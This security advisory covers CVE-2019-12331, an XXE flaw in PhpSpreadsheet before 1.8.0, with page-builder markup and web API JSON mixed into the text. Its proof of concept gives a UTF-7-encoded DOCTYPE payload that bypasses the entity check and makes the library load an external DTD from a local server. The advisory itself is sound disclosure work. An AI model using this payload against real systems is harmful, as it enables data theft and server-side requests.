[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
<\/span> The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than \u201eUTF-8\u201c is declared in the header.<\/span> <\/span><\/p>\n Put the content into sheet1.xml and repack a .xlsx file:<\/span><\/p>\n [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]+-ADwAIQ-DOCTYPE xmlrootname +-AFsAPAAh-ENTITY +-ACU aaa SYSTEM +-ACI-http:\/\/127.0.0.1:8080\/ext.dtd+-ACIAPgAl-aaa+-ADsAJQ-ccc+-ADsAJQ-ddd+-ADsAXQA+-<\/code><\/pre>\n [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n When loading the .xlsx the library tries to load ext.dtd from http:\/\/127.0.0.1.8080.<\/span><\/p>\n [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n Fix the call to libxml_disable_entity_loader() and set the encoding from the xml file after the encoding to the correct value.<\/span><\/p>\n This security vulnerability was found by Daniel Hoffmann of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":" usd-2019-0046 | PhpSpreadsheet <1.8.0 Advisory ID: usd-2019-0046CVE Number: CVE-2019-12331Affected Product: PhpSpreadsheetAffected Version: <1.8.0Vulnerability Type: XML External Entity (XXE)Security Risk: HighVendor URL: https:\/\/phpspreadsheet.readthedocs.io\/Vendor Status: Fixed Description The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than \u201eUTF-8\u201c is declared in the header.This was a security measurement to prevent CVE-2018-19277. But the fix […]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16619","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16619","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16619"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16619\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16619"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
Advisory ID<\/strong>: usd-2019-0046<\/span>
CVE Number<\/strong>: CVE-2019-12331<\/span>
Affected Product<\/strong>: PhpSpreadsheet<\/span>
Affected Version<\/strong>: <1.8.0<\/span>
Vulnerability Type<\/strong>: XML External Entity (XXE)<\/span>
Security Risk<\/strong>: High<\/span>
Vendor URL<\/strong>: <\/span>https:\/\/phpspreadsheet.readthedocs.io\/<\/a>
Vendor Status<\/strong>: Fixed<\/span><\/p>\n<\/h3>\n
Description<\/h3>\n
This was a security measurement to prevent CVE-2018-19277. But the fix is not sufficient. By double encode the xml payload to utf-7<\/span>
it is possible to bypass the check for the string \u201a<!ENTITY\u2018. Furthermore, even though the entity loader gets disabled by calling libxml_disable_entity_loader() before<\/span>
the security check, which only uses regexp, it gets enabled again before the xml is parsed with simplexml_load_string().<\/span>
This leads to an enabled entity loader while parsing the .xml, no matter which PHP version is used.<\/span>
Even though this example uses Reader\\Xlsx.php, all readers which directly feed the returned xml from the XmlScanner::load() method to simplexml_load_string()<\/span>
should be vulnerable (xml, ods, html, gnumeric).<\/span><\/p>\nProof of Concept (PoC)<\/h3>\n
Fix<\/h3>\n
<\/h3>\n
Timeline<\/h3>\n
\n
<\/h3>\n
Credits<\/h3>\n